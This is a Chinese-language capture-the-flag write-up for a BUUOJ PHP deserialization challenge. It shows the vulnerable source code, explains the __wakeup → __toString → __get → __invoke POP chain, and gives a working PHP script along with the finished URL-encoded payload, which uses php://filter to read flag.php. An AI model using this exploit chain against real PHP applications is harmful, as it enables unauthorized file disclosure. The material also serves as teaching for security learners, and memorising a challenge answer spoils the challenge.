题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,显示出源码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;public function append($value){
include($value);}public function __invoke(){
$this->append($this->var);}
}class Show{
public $source;public $str;public function __construct($file='index.php'){
$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){
return $this->str->source;}public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";$this->source = "index.php";}}
}class Test{
public $p;public function __construct(){
$this->p = array();}public function __get($key){
$function = $this->p;return $function();}
}if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;highlight_file(__FILE__);
}
第二步:代码分析
- 需要我们提交pop参数进行反序列化
- Modifier类里面有个__invoke函数,当Modifier类的对象被当作函数执行时触发__invoke函数。
- Show类里面有三个函数,其中__construct函数在创建Show对象时调用;__toString函数在Show对象被当作字符串执行时触发;__wakeup函数在被反序列化时出发
- Test类里面的__get函数在调用Test类里未被初始化或不存在的成员时触发。
第三步:构建漏洞
- Modifier类中append函数执行了include函数,可以通过include函数执行filter,获取到flag.php
- Test类中__get函数返回是,将参数function当成了函数function()执行,让Test类中p=Modifier,可以触发Modifier类的__invoke函数
- Show类中__toString函数调用了str成员的source成员,而str成员是个变量而Test类中不存在source成员变量,可以让Show类中str=Test,从而触发Test类的__get函数
- Show类中__wakeup()函数让Show类的成员变量source当成字符串执行,参数正则匹配,可以让Show类中source=Show,从而触发__toString函数
第四步:获取flag
- 构建序列化字符串:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;}class Show{
public $source;public $str;public function __construct($file){
$this->source = $file;}public function __toString(){
return "karsa";}
}class Test{
public $p;
}$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>
结果:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
2. 提交pop参数:?pop=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3Bs%3A3%3A"aaa"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A3%3A"str"%3BN%3B%7D
- 使用base64解码